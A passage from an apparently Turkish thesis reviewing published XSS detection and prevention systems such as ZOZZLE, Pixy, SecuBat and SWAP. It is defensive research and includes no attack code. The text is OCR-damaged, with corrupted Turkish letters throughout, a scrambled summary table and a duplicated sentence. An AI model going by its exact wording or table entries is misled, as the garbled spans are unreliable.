tiim hassas bilgilerin akisini dinamik olarak izleme hedefi her zaman gerceklestirilemez
(Sabelfeld ve Myers, 2003). Bu gibi durumlarla ilgilenmek icin bu 6nleme ¢6ziimii, gelismis
giivenlik saglamak i¢in statik analizden yararlanir. Statik analiz, kontrol bagimliliklarina
odaklanir. Dinamik renk tonu analizi yalnizca yiiriitiilen boliimlere odaklanir ve bdylece
yiiriitilmeyen kisim statik olarak incelenir. Dinamik kusur analizi (dinamik bilgi-akis analizi
olarak da bilinir), yalnizca yiiriitiilen boliimlere odaklanir ve bdylece yiiriitiillmeyen kisim

statik olarak incelenir.

Curtsinger ve dig. (2011), XSS saldirilarini tespit etmek ve dnlemek ic¢in bir tarayicida
konuglandirilabilen siniflandirici tabanl bir JavaScript deobfuscator (bir program/uygulama
icin kod ¢6zme veya ters miihendislik islemlerini zorlastirmak i¢in degistirilmis olan halini
eski haline getiren bir yazilim/kod) olan ZOZZLE’yi onermektedir. Kotii amagh JavaScript

kodunu mesru koddan ayirt etmek icin, Ozet S6z dizimi Agac1 (AST - Abstract Syntax Tree)
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tabanli bir teknik kullanilir. Bu teknik, algilama i¢in hiyerarsik baglama duyarl 6zelliklerden
yararlamir. Ug asamas1 vardir. Ilk olarak, veri tabani mesru ve kotiiciil komut dosyalariyla
doldurulur ve ilgili 6zellikler ¢ikarilir. Daha sonra bir Bayes siniflandiricisi, etiketli kod
orneklerinden olusturulan profillerle egitilir. Veri kiimesinin kotii amacli drneklerini elde
etmek icin NOZZLE adli dinamik bir y18in piiskiirtme algilayicisi (heap-spraying detector)
kullanilir (Ratanaworabhan, Livshits ve Zorn, 2009). Baslangicta, NOZZLE ve ZOZZLE
JavaScript deobfuscator’larini ¢aligtiran bir tarayici ortamindan URL’ler taranir. NOZZLE,
y1gin piiskiirtme saldirisin1 saptamada bagarili oldugunda, ilgili URL ile birlikte, ilgili tim
JavaScript baglamlar1 kaydedilir ve kotii amacgh ogeler acisindan incelenir. Mesru ornekler
ise Alexa.com’dan alinan ilk 50 URL baglamindan toplanir. ZOZZLE, saldirganlarin sadece
tarayicinin JavaScript motoruna giivenerek kod gizleme girisimlerine de karst koyabilir.

Motor, gizli kodun genisletilmig bir bicimini saglar.

Patil ve Patil (2015), siteler aras1 betik calistirma saldirilarimi tespit etmek i¢in istemci
tarafinda otomatik bir temizleme aract Onermektedir. Sistem mimarisi, birincisi DOM
modiilii olan birka¢ modiilden olusur. Bu modiil, gecerli web sayfasinin DOM yapisini igler.
Bir sonraki 6nemli modiil, metin veya baglant1 seklindeki kullanici girigleri ile ilgilenen Giris
Alam1 Yakalama modiiliidiir. Giris Analizorii, giris alanlarinin icerigini baglanti veya metne
gore smiflandirir ve buna gore bir sonraki modiile (Baglanti modiiliine veya Metin alani
modiiliine) iletir. Baglanti modiiliiniin iki isi vardir. Birincisi, web sayfasinin mevcut baglanti
kuyruguna gelen bir baglanti daha eklemek ve ikinci olarak herhangi bir giivenlik aci81
olup olmadigini1 kontrol etmek i¢in, baglantilarla Temizleme modiiliinii beslemek. Benzer
sekilde, Metin alan1 modiilii tiim kullanici giris metinlerinin sirasini tutar. Baglanti ve Metin
alan1 modiillerinin ¢iktilari, giivenlik aciklarmin varligi i¢in girdiyi inceleyen Temizleme
modiiliinii besler. Incelemeden sonra, Temizleme modiilii tarafindan bir mesaj iiretilir ve XSS

Bilgilendirici modiiliine iletilerek kullanici bir saldirt olduguna dair bilgilendirilir.

Pan ve Mao (2017), Web tarayici eklentilerindeki DOM giivenlik aci1 sorununu
cozmeyi amaglayan bir cerceve ortaya koymustur. Bu calismada, DOM kaynakli XSS
saldiris1 ad1 verilen yeni bir varyant iizerinde durulmakta ve hibrit analiz yardimi ile
algilama gercgeklestirilmektedir. Yazarlar, ciddi etkileri olmasina ragmen DOM tabanli XSS
saldirilarinin yillar boyunca arastirmacilardan c¢ok fazla ilgi gérmedigini diistinmektedir.
Cercevenin iki asamasi vardir. Ilk asama statik analiz, ikinci asama ise dinamik analiz

kullanir. Statik analiz asamasi, bir metin filtresi ve soyut bir s6z dizimi agacindan olusur.



86

Bu asama, siipheli bir komut dosyasini analiz eder. Metin filtresinin isi genel yonergeleri ve
verilen ayricaliklari kontrol etmek olsa da, soyut s6z dizimi agaci saldirgan tarafindan kontrol
edilen kaynaklari ve hassas ¢ikis noktalarim kontrol eder. Ikinci asamada, komut dosyas1 hala
stipheli davranig gosteriyorsa dinamik analiz gerceklestirilir. Dinamik sembolik yiiriitmenin
bu asamasi, hiyerarsik belgeden yararlanmanin kritik sorununu ¢dzmeyi amag¢lamaktadir.
Hiyerarsik yapi, mevcut olmayan DOM o0gelerine erisildiginde hata iiretmede basarili olan
bir gélge DOM bileseninde korunur. Golge DOM bileseninde tutulan hiyerarsik yapinin ve
sembolik yiiriitme sirasinda elde edilen degerlerin bir kombinasyonu, zafiyete acik komut
dosyasinin belirlenmesine yardimci olur. Dolayisiyla, DOM kaynakli giivenlik agiklari
algilanir. Yazarlar calismalarim capraz tarayici eklentisi olan Greasemonkey® iizerinde
gerceklestirmiglerdir. Calismada Greasemonkey’in 154.065 adet kullanici komut dosyasinin
veri kiimesi kullanilmistir. Hatali pozitif olmadan toplam 58 DOM kaynakli XSS giivenlik

acig1 algilanmagtir.

Siteler aras1 betik ¢aligtirma saldirisi, esas olarak sunucu tarafindaki web uygulamasinda var
olan giivenlik aciklar1 nedeniyle olusur. Bununla birlikte, uygun mekanizmalar mevcutken
kotii niyetli bir siteyi ziyaret etmek kisitlanabilir. Bir sunucu, giivenlik konusunda her
zaman giivenilir olamaz, ¢iinkii bir saldirgan tarafindan kolayca riskli ve tehlikeli bir
hale doniistiiriilebilir. Istemci tarafinda bir savunma mekanizmasi kullanmanin faydasi,
kullanicinin siteyi ziyaret etmek isteyip istemedigini tam olarak kontrol edebilmesidir.
Bir tarayiciya bir kural kiimesi gomiilebilir veya kotii amacgh bir siteyi ziyaret etmeyi
kisitlamak i¢cin XSS filtreleri uygulanabilir. Ancak bunun dezavantaji, bu konuda cok
fazla bilgisi olmayan bir kullanicinin bir uygulamayi ziyaret etmenin giivenli olup
olmadigini bilmeyebilecek olmasidir. Ayrica, XSS filtrelerinin bazilari, yeterli giivenlik
mekanizmasi olsa bile kolayca atlatilabilir. Tablo 2.10°da, tartisilan tiim istemci tarafi tespit

yaklagimlarinin bir 6zeti yer almaktadir.

2.2.5.2. Sunucu Tarafi Tespit Yaklasimlar

Ister Yansitmis ister Depolanmis olsun, geleneksel XSS saldirilari, sunucu tarafindaki
giivenlik zafiyetleri nedeniyle olusur. Bu nedenle, sunucuyu bu tiir saldirilara karsi
koruyan bir savunma mekanizmasi gelistirmek dogaldir. Savunma mekanizmasinin sunucu

tarafina uygulanmasi, dogrudan sunucu iizerinde veya ters vekil sunucu kullanilarak

5 https://addons.mozilla.org/tr/firefox/addon/greasemonkey/
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Tablo 2.10: Istemci Tarafi XSS Tespit Yaklasimlarinin Ozeti

Analiz Tiirii Referans Calisma Odaklanilan Alan ;essg l{,ielgllen Giiglii Yon / Zayifhk
. . Zafiyet Tespiti ve L. .
(Ismail ve dig., 2004) Saldin Onleme Belirtilmemis
(Hallaraker ve Vigna, 2005)  Saldir1 Tespiti Timii Denetim sistemi tarafindan ek yuk,

ayrica politikalar sunucudan iletilmez.

(Kirda ve dig., 2006)

Saldirt Onleme

Yansitilmis ve

Stipheli olay meydana geldiginde

Dinamik Analiz Depolanmig kullanici miidahalesi gerekir.
. . Zafiyet Tespiti ve L. .
(Reis ve dig., 2007) Saldin Onleme Belirtilmemis
(Cao ve dig., 2012) Saldirt Onleme Tiimii Cerez calma ve kimlik avina
kars1 zafiyete agiktir.
(Gupta ve Gupta, 2015) Zafiyet Tespiti Yansitilmig
(Weissbacher ve dig., 2015)  Sadin Tespit ve Belirtilmemis

Saldir1 Onleme

Yansitilmis ve

(Pan ve Mao, 2016) Zafiyet Tespiti Depolanmis
. ) . Saldir1 Tespit ve Yansitilmig ve o e
(Mitropoulos ve dig., 2016) Saldirt Onleme Depolanmis Diisiik hatali pozitif sayisina sahiptir.
(Gupta, Gupta ve Saldir1 Tespiti ve
Chaudhary, 2018) Zafiyet Tespiti DOMEbanh
(Vogt ve dig., 2007) Saldir1 Onleme Belirtilmemis
_ 2 . . Saldir1 Tespit ve Yansitilmis ve o - .
Hibrit Analiz (Curtsinger ve dig., 2011) Saldin Onleme Depolangl Diisiik hatali pozitif oranina sahiptir.
. . Zafiyet Tespiti ve
(Patil ve Patil, 2015) Saldirt Onleme Depolanmig
(Pan ve Mao, 2017) Zafiyet Tespiti DOM tabanlt

gerceklestirilebilir. Asagida, bu baglamda literatiirde yer alan cesitli savunma yontemleri

incelenmisgtir.

Statik Analiz

Sekil 2.34’te tarif edildigi gibi statik analiz, uygulamanin kaynak kodunu ele almaktadir
(Chess ve McGraw, 2004). Bu tiir bir analiz yonteminin kullanilmasinin temel avantaji,
uygulamanin yiiriitiilmesine gerek olmamasidir. Uygulamanin kaynak kodu, herhangi bir
zamanda saldirgan tarafindan kotiiye kullanilabilecek olas1 bir giivenlik zafiyetinin tespiti
icin gdozden gecirilir (Livshits ve Lam, 2005). Statik analiz altindaki bazi1 yaygin teknikler
arasinda; kusur analizi (Tripp ve dig., 2009), kontrol akisi analizi (Jovanovic, Kruegel ve
Kirda, 2006), veri akis1 analizi (Vogt ve dig., 2007), prosediirler arasi analiz (Xie ve Aiken,
2006) bulunmaktadir. Yillar icinde, XSS saldirilarin1 ve giivenlik zafiyetlerini tespit etmek

icin, bazilar1 asagida da tartisilan bir¢ok statik analiz yontemi Onerilmistir.

Scott ve Sharp (2002), heterojen ortamlarda gelistirilen biiyiik web uygulamalarindan
giivenlik politikalar1 olusturmak i¢in bir yapilandirma teknigi Onermislerdir. Giivenlik

ilkeleri, Giivenlik Ilkesi Aciklama Dili’nde (SPDL: Security Policy Description Language)
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yazilmistir. SPDL, dogrulama kisitlamalarim1 ve doniisiim kurallarim ifade edebilir. Ilke
derleyici bileseni, SPDL’yi koda doniistiiriir ve dogrulama kisitlamalarini inceler. Politikalar,
giivenlik ag gecidi olarak da adlandirilan uygulama diizeyinde bir giivenlik duvarinda
uygulanir. HTTP iletilerinde belirtilen politikalari, 6zellikle de URL’yi zorunlu kilar. HTTP
istekleri analiz edilir ve web sunucusundan alinan HTTP yamitindaki HTML yeniden yazilir.
Ornegin yanitta bir HTML formu varsa, istemci tarafinda kontrol etmek icin bu forma uygun
JavaScript dogrulama kodu eklenir. Yanitlarla birlikte, Mesaj Dogrulama Kodlart (MAC:
Message Authentication Codes) ek agiklama olarak ilave edilmektedir (Schneier, 2007).
Istemci bir sonraki iletiyi gonderdiginde, ilgili MAC denetlenir. Bu sekilde, istemcinin

verilerde mesru olmayan degisiklikler yapmasina izin verilmez.

Minamide (2005), calismasinda bir sunucu uygulamasinin dinamik olarak olusturulan Web
sayfalarini statik olarak analiz etmek icin bir PHP dize ¢6ziimleyicisi onermektedir. PHP
analizorii, bir PHP programi (kodu) ve programa olasi tiim giris kiimesi olmak iizere iki giris
ile beslenir. Programa olasi girdiler kiimesi, kurall1 ifadeler yardimiyla olusturulur. Program
tarafindan {iretilebilecek olasi herhangi bir dize ¢iktisi, analizor tarafindan baglamsiz bir
gramer kullanilarak yaklasik olarak iiretilir (Christensen, Mgller ve Schwartzbach, 2003).
Uygulamalardaki XSS zafiyetlerini tespit etmek i¢in, bu yaklasimlar giivenli veya giivenli
olmayan dizelerin 6zelliklerine gore incelenir. Ornegin, istemci tarafindan gelen kod

giivensiz kabul edilir.

Nguyen-Tuong ve dig. (2005), yaptiklar1 calismada hassas izleme (tainting) kullanarak
Web uygulamalarini otomatik olarak sikilastirmak i¢in bir yontem Onermektedir. Kusurlu
(tainted) veriler giivenilir olmayan kaynaklardan gelen parcalarda icerige duyarl bir sekilde
izlenir ve kontrol edilir. Kusursuzlugun (taintedness), tek bir karakter diizeyinde ayrintili
kontrol edildigine dikkat etmek ©Onemlidir. Sunucu tarafinda bir PHP yorumlayicisinin
degistirilmis siirimii kullanilir. Yorumlayici, kusurlu (tainted) verilerin uygulama kodu
tizerinden yayilmasini/akigini kontrol eder ve kullanici girigsinden gelen tehlikeli verilerin
komutlara veya parametrelere dahil edilmemesini saglar. Ayrica, giivenilmeyen girdiden
gelen higbir betik kodunun, olusturulan web sayfasinin bir parcasi olmadigindan emin olma
sorumlulugu da vardir. Olasi tehlikeli metinler ortadan kaldirilir veya yorumlanmasi onlenir.

Bunun i¢in, printf, echo ve print gibi PHP cikti/yazdirma fonksiyonlar1 degistirilir.

Pietraszek ve Berghe (2005), yaptiklart ¢calismada XSS saldirilarina karst savunmak igin
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Baglama Duyarli Dize Degerlendirmesi’ni (CSSE: Context Sensitive String Evaluation)
tanittilar. Bir web uygulamasi verildiginde CSSE, gelistirici tarafindan saglanan kodun
ve kullanici tarafindan saglanan kodun smirlarini isaretler. Bu islem, kodun kokeni ile
ilgili meta verileri uygulamadaki dize parcalarina ekleyerek yapilir. Geleneksel olarak,
geligtirici tarafindan saglanan kod giivenilirdir. Ancak, kullanici tarafindan saglanan veriler
tizerinde uygun soz dizimsel testler yapilmalidir. Testler, ¢ikti saglayan veya ¢iktida kullanici
tarafindan saglanan verileri kullanan fonksiyonlarin yiiriitiilmesini engeller. Daha belirgin
olarak, bir ihlali tespit etmek veya onlemek icin ¢ikis fonksiyonlari, atama operatorleri ve

dize islemleri buna gore gecersiz kilinir.

Jovanovic, Kruegel ve Kirda (2006), PHP tabanli web uygulamalarindaki XSS giivenlik
zafiyetlerinin tespiti icin Pixy adli statik bir analiz araci 6nermislerdir. Web sunucusundaki
XSS giivenlik aciklari, kotii niyetli kullanicilar tarafindan kétiiciil veya kusurlu komut
dosyalar1 enjekte edilerek istismar edilir. XSS giivenlik agiklarinin kusurlu tarz zafiyetler
olmasinin nedeni budur. Zafiyet noktalar1 uygulamada, ozellikle de akisa duyarh
(flow-sensitive), prosediirler arasi (inter-procedural) ve baglama duyarli (context-sensitive)
veri akisi analiz teknikleri kullanilarak tespit edilir. Veri akisi analizinin ardindaki gerekge,
duyarli degiskenlerin programin yiiriitiilmesi sirasinda herhangi bir noktada tutabilecegi
gercek degerleri takip etmektir (Muchnick, 1997). Kusurlu (tainted) veriler, kusur analizi
(taint analysis) ile tespit edilir ve atama veya diger yapilarla bir programdaki farkli noktalara
akabilir. Bu tiir kusurlu verileri dogru bir sekilde tespit etmek icin ayni zamanda takma
ad analizi (alias analysis) ve ifade analizi (literal analysis) kullanir. Kullanici, hassas bir
deger alan hassas ¢ikis noktalarinin (programdaki savunmasiz noktalar) detaylar1 konusunda

bilgilendirilir.

Xu, Bhatkar ve Sekar (2006), politika uygulamalarmi giiclendirmek i¢in dinamik bir
kusur izleme mekanizmasi 6nermistir. Tlk adim, kaynaktan kaynaga doniisiim kullanarak
C programlart i¢in derinlemesine kusur analizi yapmaktir. Sunucunun girdi okuma
fonksiyonlar1 (6rn.; read ve recv) giivenilir olmayan degerler dondiirebilen fonksiyonlardir.
Giivenilmeyen degerlerin depolandig1 her bellek bayti ile bir bit kusur bilgisi iligkilendirilir.
Kusur bilgisi, verilerin yayilmasiyla birlikte bellekte yayilir. Bir sonraki adim Politika
Uygulama’dir. Giivenlik agisindan kritik fonksiyonlar konusunda politikalar uygulanir. Bu
tiir fonksiyonlara 6rnek olarak vfprintf gibi kiitiiphane fonksiyonlar: ile execve ve open

gibi sistem ¢agrilar1 verilebilir. Bu tiir fonksiyonlarin argiimanlar1 ve ¢iktilari, giivenilmeyen
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ve giivenli olmayan icerik acisindan incelenir. Bu nedenle, yontemin tic adimi vardir;
giivenilmeyen igerigi isaretleme (tainting), akislarini izleme ve giivenlik acisindan kritik
fonksiyonlara iligkin girdileri denetleme. Bu yontem, XSS saldirisinin yani sira bir dizi
saldiry1 algilayabilir ve ayrica yorumlayicilar C ile kodlandigindan PHP ve Bash gibi diger

betik dillerine de uygulanabilir.

Galan ve dig. (2010), cok ajanli XSS giivenlik agi81 tarayicisi seklinde yeni bir gerceve
Onermistir. Bir uygulamadaki zafiyetleri algilamak icin Web Sayfasi Ayristiric1 Ajani,
Betik Enjektor Ajam ve Dogrulama Ajani gibi birden ¢ok araci bir araya gelir. Ik gorev,
uygulamayr Web Sayfasi Ayristirict Ajan1 yardimiyla taramaktir. Taramadan sonra, ¢esitli
potansiyel enjeksiyon noktalari tanimlanir ve bir Enjeksiyon Noktasi Havuzu olusturulur.
Bu enjeksiyon noktalari, Betik Enjektor Aracisi tarafindan okunur ve Saldir1 Vektorii
Deposundan bir olas1 saldir1 vektorleri listesi secilir. Secilen saldir1 vektorleri, daha 6nce
tamimlanan cesitli enjeksiyon noktalarina karsi baslatilir. Gergeklestirilen bu saldirilar,
Gerceklestirilen Saldir listesinde saklanir. Bu liste daha sonra Web uygulamasini tarayarak,
saldir1 vektorlerinin uygulamanin davranisini nasil etkiledigini analiz eden Dogrulama
Ajani tarafindan dogrulanir. Depolanmis XSS giivenlik agiginin etkilerini belirlemek igin

uygulamanin ikinci kez taranmasi gerekir.

Gupta ve Gupta (2015), yaptiklar1 ¢alismada XSS-SAFE, Siteler Aras1 Betik Calistirma
Giivenli Web Uygulama Cercevesi’ni onermistir. Cerceve, Ozellik Enjeksiyonu, Kural
Cikaric1 ve Temizleme Rutini Enjektorii olmak iizere ii¢ teknik kullanir. Istemciden bir
talep alindiginda, uygulamaya tehlikesiz ozellikler yorum seklinde enjekte edilir. Bu
islem uygulamadaki giivenlik zafiyetlerini bulmak icin yapilir. Bir yanit olustu§unda
temizleyici, gozlenen ve saklanan 6zellikler arasinda bir degisim olup olmadigini kontrol
eder. Farkliliklar varsa, bu kotii niyetli bir enjeksiyonun basarili olabilecegi anlamina gelir.
Bu durumda bir mesaj istemciyi uyarir; aksi takdirde ise yanit istemci tarayicisina giivenli

bir sekilde iletilir. XSS-SAFE’in mantiksal bir goriiniimii Sekil 2.41°de gosterilmektedir.

Gupta ve Gupta (2016), CSSXC olarak da adlandirilan Bulut ortamlarindaki XSS giivenlik
zafiyetlerine kars1 uygulanmak iizere Baglama Duyarli Temizleme c¢ercevesini sunmaktadir.
Cercevenin sorumlulugu, bir web uygulamasindaki maskelenmis enjeksiyon noktalarini
belirlemek ve varsa giivenlik aciklarini bulmaktir. Bu enjeksiyon noktalarindan zararl kod

yiikleri enjekte edilirse, temizle baglama duyarli bir sekilde gerceklestirilir. Cercevenin
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Sekil 2.41: XSS-SAFE mantiksal semas1 (Gupta ve Gupta, 2015)

bilesenlerinden biri kotiictil JavaScript algilama sunucusudur. Bu sunucunun gorevi kara
listeye alinan JavaScript saldir1 vektorlerinden olusan bir XSS deposunu tutmak ve kotii
amagli XSS yiiklerinin algilanmasint hizlandirmaktir. Bilesenin bir bagka modiilii de
Temizleme Rutini Enjektoriidiir (SRI: Sanitization Routine Injector). Herhangi bir kotii
amaglh komut dosyasinin tanimlanmas: durumunda, SRI giivenilmeyen degiskenleri atmak
icin otomatik temizleme islemi gerceklestirir. Bilesenin diger modiilleri Cikarma Birimi
(baglantilari, form parametrelerini, HTTP isteklerini ve fonksiyonlar1 ayiklar), Tanimlama
Birimi (bir enjeksiyon noktasindan uygulamayi1 enjekte edebilecek saldir1 vektorlerini
tanimlar) ve Test Birimidir (sterilize edilmig XSS saldir1 yiikiinii enjekte eder ve ¢alistirir).

Cercevenin diger iki bileseni Bulut kullanicilar1 ve Web uygulama sunucusudur.

Medeiros, Neves ve Correia (2016), yaptiklar1 ¢alismada Web uygulamalarinin kaynak
kodundaki giivenlik agiklarimi tespit etmek i¢in iki yaklasimin birlesimi olan bir ¢oziim
onermistir. Ik olarak, kaynak kodu ayristirilarak elde edilen Ozet Soz dizimi Agac1 (AST:
Abstract Syntax Tree) lizerinde kusur analizi (taint analysis) yapilir. Bu islem, Kontrol
Akist Diyagramlarn (CFG: Control Flow Graphs) seklinde aday giivenlik zafiyetlerinin
olusturulmasina yardimer olur. Girig noktasindan dogrudan hassas bir ¢ikis noktasina bir
baglanti varsa, diyagramdaki bir yol savunmasizdir. Hatali pozitifleri belirlemek i¢in,
savunmasiz kontrol akis yollarmin o6zelliklerine veri madenciligi teknikleri uygulanir.
Tiimevarim kurallar1 hatal1 pozitifler varsa kullanilir. Kontrol akig yollarindaki hatali pozitif
olarak tahmin edilmeyen giivenlik agiklar1 kaynak kodunda tanimlanir ve diizeltilir. Daha
sonra giivenlik aciklari, diizeltmeleri, hatali pozitifier ve bunlarin hatali pozitif olarak
siniflandirilmasindan sorumlu niteliklerle ilgili bilgilerle birlikte gelistiriciye yeterli ve

uygun geri bildirim gonderilir. Ayrica, uygulamaya iki tiir test tatbik edilir; diizeltmelerin
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diizgiin calisip calismadigini belirlemek icin Mutasyon Testi ve uygulamalarin davranig

analizi icin Regresyon Testi.

Mohammadi, Chu ve Lipford (2017), oncelikle giivenilmeyen verilerin yanlis kodlanmasi
nedeniyle ortaya cikan XSS zafiyetlerini tespit etmek icin bir algilama mekanizmasi
onermistir. Ik olarak, her web sayfasi icin XSS giivenlik aciklarini tespit etmek icin bir
dizi birim testleri yapilir. Bu, test yolu igerigini garanti eder. Buradaki ana fikir sudur;
orijinal web sayfas1 XSS giivenlik acig1 iceriyorsa, ondan yola cikilarak yapilan birim
testlerinin de XSS’e kars1 savunmasiz olma olasilig1 vardir. Birim test yapisi icin girdiler
sunlardir: kaynak kodu, giivenilir olmayan kaynaklar ve ¢ikis noktalari. Bir sonraki saldirt
degerlendirme asamasinda, birim testlerinden herhangi birinin gercekten savunmasiz olup
olmadigini gérmek i¢cin XSS birim testleri, XSS saldir1 dizelerine gore degerlendirilmelidir.
Bu amagcla JWebUnit® test araci kullanilir. Saldir1 olusturma asamast, iki bilesenden olusur.
Ik olarak, saldirinin temel prensipleri, JavaScript yiiklerinin modellenmesi ve tipik bir
tarayici tarafindan nasil yorumlandiklarinin belirlenmesinde yardimer olur. Ikinci olarak,

saldir1 dizeleri bu temel prensiplere gore tiiretilir.

Gupta ve Gupta (2018), yaptiklar1 calismada mevcut XSS solucanlarinin yayiliminin
saptanmasin ve hafifletilmesini vaat eden XSS-Secure’u sunmaktadir. Bulut platformundaki
CSA (OSN: Online Social Network; Cevrim i¢i Sosyal Ag) tabanli multimedya Web
uygulamalar1 icin saglanan bir hizmet olan XSS-Secure’un egitim modu ve algilama
modu olmak {iizere iki calisma modu vardir. Egitim modu, JavaScript’in giivenilir olmayan
degiskenlerinin icerige duyarli olarak temizlenmesi ile ilgilenir. Algilama asamasinda daha
sonra kullanilmak iizere, sterilize edilmis kod, Temizleme Anlik Deposunda (Sanitization
Snapshot Repository) ve CSA Web sunucusunda saklanir. Algilama modunda, Temizleyici
Degisim Dedektorii modiilii, CSA Web sunucusunda iiretilen temizlenmis HTTP yanit1 ile
Temizleme Anlik Goriintii Deposunda saklanan yanit arasindaki benzerligi 6l¢cmek gibi
onemli bir gorevi yerine getirir. Bu adimda tespit edilen sapmalar, XSS solucanlarinin
bulut platformundaki CSA sunucularina enjekte edildigi sonucuna ulasmaya yardimci olur.
XSS-Secure, XSS solucanlarinin enjekte edildigi baglami tanimlar ve buna gére HTTP
yanit1 temizlenir ve temizlenmis yanit CSA kullanicisina iletilir. XSS-Secure’un giiclii yoni,
temizleme islemini gerceklestirmeden Once kotii niyetli degiskenin baglamini tanimlamasi

ve ondan sonra temizleme rutinini buna gore gergeklestirmesidir.

6 https://jwebunit.github.io/jwebunit/
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Dinamik Analiz

Dinamik analiz, Sekil 2.38’de tarif edildigi gibi Web uygulamasinin yiiriitiilmesini
icerir (Ernst, 2003). Bu teknikler, uygulamadaki giivenlik aciklarini tespit etmek
icin program durumlarini aktif olarak analiz eder (Guo, 2006). Program durumlari,
degiskenlerin degerlerini ve hatta bellek konumunun icerigini igerebilir. Biiytiik 6lgekli
web uygulamalarinda statik analiz yerine dinamik analiz tercih edilebilir. Ciinkii, bu gibi
durumlarda, kodun statik olarak incelenmesi sikici olabilir. XSS saldirilarin tespit etmek ve

onlemek icin bazilar1 agagida tartisilan bircok dinamik analiz yaklagimi 6nerilmistir.

Kals ve dig. (2006), fonksiyonel bir web giivenlik zafiyeti tarayicist olan SecuBat’1
gelistirmistir. SecuBat’in temel amaci, web uygulamalarindaki XSS giivenlik agiklarinin
otomatik olarak algilanmasidir. Bir tarama (crawling) bileseni, bir saldir1 bileseni ve bir
analiz bileseni olmak iizere ii¢ bileseni vardir. Kara kutu yaklasimi kullanilarak, 6nce tarama
bilesenine bir kok adres verilir. Bilesen, bu adresten baglar, web sayfalarini ve formlar1 alip
getirerek adim adim ilerler. Tarama asamasindan sonra saldir1 bileseni web sayfalarinda
var olan formlar1 belirler, ¢iinkii bunlar uygulamaya giris noktalaridir. Kargsilagilan her
form i¢in, hedef adres ve yontem (GET veya POST), diger parametrelerle birlikte ¢ikarilir.
Uygun saldir1 degerleri ile birlikte bu igerikler, uygulamanin sunucusuna yiiklenir. Analiz
modiiliiniin sorumlulugu sunucunun yanitini ayristirmak ve yorumlamaktir. Giiven degeri,
saldirtya 0zgii yanit Olgiitlerine ve sunucunun yanitinda bulunan anahtar kelimelere gore
hesaplanir. Gliven degeri, web uygulamasina yonelik bir saldirinin bagarili olup olmadigini

belirler. Basarili olursa, bu uygulamanin XSS’ye kars1 savunmasiz oldugu anlamina gelir.

Johns, Engelmann ve Posegga (2008), yaptiklar1 ¢alismada pasif bir XSS sunucu tarafi
algilama sistemi olan XSSDS’yi tamitmaktadir. Bu yaklasim, HTTP trafigini pasif olarak izler.
Yansitilmig XSS saldirilarini tespit etmek icin, gelen veriler ve giden JavaScript arasinda
giiclii bir korelasyon olup olmadigini kontrol eder, yani hem HTTP isteginin hem de yanitin
bdyle bir saldirida enjekte edilen komut dosyasini igerdigini varsayar. Bu benzerlik, uzunluk
esigi t olan standart En Uzun Ortak Altdizi (Longest Common Subsequence) algoritmasinin
bir degisimi olan uygun bir benzerlik metrigi ile belirlenir. Yazarlar tarafindan t=15 degeri
onerilmektedir. Depolanmig XSS saldirilarini tespit etmek i¢in, dedektoriin egitimini iceren
genel bir XSS algilama yontemi 6nerilmektedir. Bu yontem, uygulama icinde kullanilan

tlim JavaScript’leri toplar. Toplanan betik kiimesindeki herhangi bir degisiklik, uygulamanin



94

kodundaki bir degisikligi veya devam eden bir XSS saldirisimt belirtir. Egitim asamasinda
jenerik dedektor icin bilinen betiklerin bir listesi olusturulur. Giden trafikteki betikler bu

listeye gore incelenir. Karsilagilan herhangi bir degisiklik alarm iiretir.

Louw ve Venkatakrishnan (2009), yaptiklar1 ¢calismada BLUEPRINT ad1 verilen bir XSS
onleme mekanizmasi1 sunmaktadir. Yaklasimin ana odak noktasi, tarayicinin giivenilir
olmayan JavaScript ayristiricisinin giivenilir olmayan icerigi islemesine izin vermemektir.
Bu nedenle, HTML ayristirma agaci, giivenilir olmayan ayristirma davranislari nedeniyle
istemci tarayicisi tarafindan hazirlanmaz. Bunun yerine ayristirma kararlari, web iceriginin
bir modelini (blueprint) hazirlarken web uygulamasi tarafindan alinir. Olusturulan ayristirma
agaci giivenli bir sekilde istemcinin tarayicisina tasiir. Tarayicinin ayristiricisina olan
bagimlilig1 ortadan kaldirarak, giivenilmeyen igerigin yorumlanmasindan kurtulmus olunur.
Ayristirma agacinin dinamik icerikli bir diigiime, Ornegin bir betik dosyasina sahip
olmadigin1 not etmek oOnemlidir. Uygulamanin niyeti, giivenilmeyen igerikte yetkisiz

betiklerin yiiriitiilmesine izin vermedigi siirece seffaftir.

Wurzinger ve dig. (2009), calismalarinda Giivenli Web Uygulamasi Vekili (SWAP: Secure
Web Application Proxy) adli bir sunucu tarafi ¢6ziimii onermektedir. SWAP, ters bir vekil
sunucu ve bir JavaScript algilama bileseni olmak iizere iki bilesenin birlesimidir. Sunucu
tarafindaki ters vekil, bir web sunucusu ile istemcileri arasindaki tiim istekleri ve yanitlari
igler. JavaScript algilama bileseni, sunucunun yanitlarindaki betik igerigini tanimlamak
amaciyla ters vekile yiiklenen degistirilmis bir web tarayicisidir. Tehlikesiz ve kotiiciil
betik dosyalar1 arasinda ayrim yapmak i¢in, web uygulamasinin tiim orijinal JavaScript
kodu, yani tehlikesiz kodu, ayrigtirllamaz Betik Kimlikleri (Script ID) ile kodlanir. Betik
Kimlikleri, benzersiz tanimlayicilardir. Daha sonra, bir istemci tarafindan bir web sayfasi
istendiginde, ters vekildeki web tarayicisi sayfayr yiikler ve heniiz kodlanmamis betik
icerigini bulmaya calisir. Kodlanmamig tiim betik dosyalar1 onceden kodlanmadigi icin
uygulamaya yerlestirilmis olmalidir ve bu acidan onemlidir. Vekil tarafindan bu tiir enjekte
edilmis betik dosyalari bulunmazsa, Betik Kimliklerinin kodu c¢oziilir ve web sayfasi

istemciye iletilir. SWAP kurulum semasi1 Sekil 2.42°de gosterilmigtir.

Chandra ve Selvakumar (2011), calismalarinda XSS saldirilarim1 6nlemek icin Tarayicidan
Bagimsiz XSS Temizleyicisi BIXSAN (Browser Independent XSS Sanitizer)’1 tanittilar.

Yazarlara gore, XSS saldirilarini Onlemek igin tehlikesiz HTML’nin yiiriitiilmesi
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Sekil 2.42: SWAP mantiksal semas1 (Wurzinger ve dig., 2009)

yasaklanmamalidir. BIXSAN, saldirilart nlemek icin ii¢ adim gerceklestirir. 11k olarak,
dogrulugu saglamak igin tam bir HTML ayristirici igerir. Ikinci olarak, kotiiciil JavaScript’i
filtrelemek icin JavaScript test cihazi adi verilen degistirilmis bir tarayici kullanir. Ve son
olarak bir HTML sayfasindaki statik etiketleri belirler, boylece geride hicbir tehlikesiz
HTML etiketi kalmaz. Tarayicidaki XSS temizleyici giivenilir olmayan HTML igerigini
